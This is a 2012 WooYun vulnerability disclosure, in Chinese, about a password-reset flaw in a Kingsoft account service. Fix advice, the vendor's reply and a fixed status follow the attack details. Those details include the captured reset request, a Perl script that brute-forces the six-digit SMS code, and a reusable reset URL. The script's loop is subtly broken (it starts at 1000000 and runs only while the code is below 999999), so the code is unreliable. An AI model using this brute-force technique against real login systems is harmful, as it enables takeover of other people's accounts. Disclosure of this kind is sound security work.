当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-012685

漏洞标题：金山某应用任意帐户密码重置漏洞

相关厂商：金山软件集团

漏洞作者： 风萧萧

提交时间：2012-09-25 10:04

修复时间：2012-11-09 10:05

公开时间：2012-11-09 10:05

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-09-25： 细节已通知厂商并且等待厂商处理中
2012-09-25： 厂商已经确认，细节仅向厂商公开
2012-10-05： 细节向核心白帽子及相关领域专家公开
2012-10-15： 细节向普通白帽子公开
2012-10-25： 细节向实习白帽子公开
2012-11-09： 细节向公众公开

简要描述：

金山某应用的用户注册、密码取回的逻辑很奇葩！我一不小心就高潮了

详细说明：

1.存在漏洞的是下面这个站点，看起来很牛逼的样子哈

https://login.ijinshan.com/login.html

还是密码取回这里，很脆弱啊！啊啊啊啊！！！


2.点击忘记密码，填写好手机号码以及验证码后点击下一步，此时服务器已经将6位纯数字的验证码发送到手机短信


3.我们尝试下错误的验证码123456看下：


这个时候抓下包，看看POST的数据是怎么样的：

POST /forget/verify/mobile HTTP/1.1
Host: i.ijinshan.com
Proxy-Connection: keep-alive
Content-Length: 16
Origin: http://i.ijinshan.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/17.0.938.0 Safari/535.8
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://i.ijinshan.com/forget/send_way
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=我的cookie（这里略了，无需登录）; 
resetcode=123456


4.这个cookie是非常重要的，已经对应了重置密码的帐号，所以在构造数据包时不要忘记添加cookie，另外查看错误发送错误的验证码时，返回的信息如下：

HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Mon, 24 Sep 2012 15:00:14 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.14
Content-Length: 57
{"retnum":-400,"errmsg":"\u9a8c\u8bc1\u7801\u9519\u8bef"}


也就是说返回的关键字包含"-400"或者"验证码错误"的字样，即表示验证失败，反之就获得成功的验证码。
我写了一个简单的破（perl）代码，目前还是单线程，也贴在这里了

#!C:/Perl/bin/perl.exe
use strict;
use LWP::Simple;
use HTML::TreeBuilder;
use Tie::File;
require HTTP::Cookies;
sub usage {
    print "Kingsoft Password Reset Bug! Find by kunting520!\n";
    print "example: perl getpwd.pl cookie isproxy\n";
    exit;
}
if ($#ARGV < 1) { usage; }
my $cookie = $ARGV[0];
my $isproxy = $ARGV[1];
my @results;
my $result_count = 0;
#tie @results, 'Tie::File', $filename ;
my @htmls;
my $ua = new LWP::UserAgent;
if( $isproxy eq 'true'){
    $ua->proxy('http', 'http://127.0.0.1:8080');
}
my @header=(
'Host' => 'i.ijinshan.com',
'User-Agent'=>'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1',
'Accept' => '*/*',
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => 'http://i.ijinshan.com/forget/send_way',
'Accept-Charset' => 'gzip, deflate',
'Accept-Language' => 'zh-CN,zh;q=0.8',
'Accept-Encoding' => 'gzip,deflate,sdch',
'Proxy-Connection' => 'keep-alive\r\n',
'Cookie'=> $cookie
);
$ua->default_header(@header);
my $code=0;
my $url = 'http://i.ijinshan.com/forget/verify/mobile';
for($code=1000000;$code<999999;$code++)
{
    my $response = $ua->post( $url ,{'resetcode'=>$code} );
    my $con = $response->content;
    if($con =~ /-400/) {next;}
    else {print $response->as_string;last;}
    #sleep(1);
}

漏洞证明：

5.嗯，跑下代码吧！发送的数据包 包含有正确的验证码时，返回的errmsg是重置密码的关键了，看图


6.将errmsg的值拷贝下来，使用下面的这个链接即可成功取回密码,也就是可以重置新的密码了

http://i.ijinshan.com/forget/modify?authcode="errmsg's value"

呵呵，恭喜欧文密码重置成功了


7.在用户注册时，也是同样存在这个问题的，可以被暴力验证，也截个图啦：


8.最奇葩的逻辑在这里，重中之重！！！每次取回密码的链接都是一样的！！！都是一样的，一个字母都不差！！！只要记住下面这个链接，即使不用点击取回密码、不用发送短信，一样可以重置密码！！！神了！！！！

http://i.ijinshan.com/forget/modify?authcode="errmsg's value"

修复方案：

1.注册帐号时，链接的m参数可以更复杂些，而不是6位纯数字；
2.密码取回时，设置强有力的短信验证码，以免被暴力破解；
3.密码取回连续多次失败时，设置此次密码取回无效，需重新发送验证码；
4.最奇葩的那个"一次取回、永久使用"的链接问题，我不懂了，程序员当时是怎么想的？
5.最重要的是，20rank和礼物！

版权声明：转载请注明来源 风萧萧@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2012-09-25 10:35

厂商回复：

收到，
手机验证码安全这块与用户体验这块是个难平衡的点；然后后面的手机验证码是有时效性的，并不是一直都不变；同时我们也有考虑不周的地方比如请求限制频率和来源等；

最新状态：

2013-01-23：已修复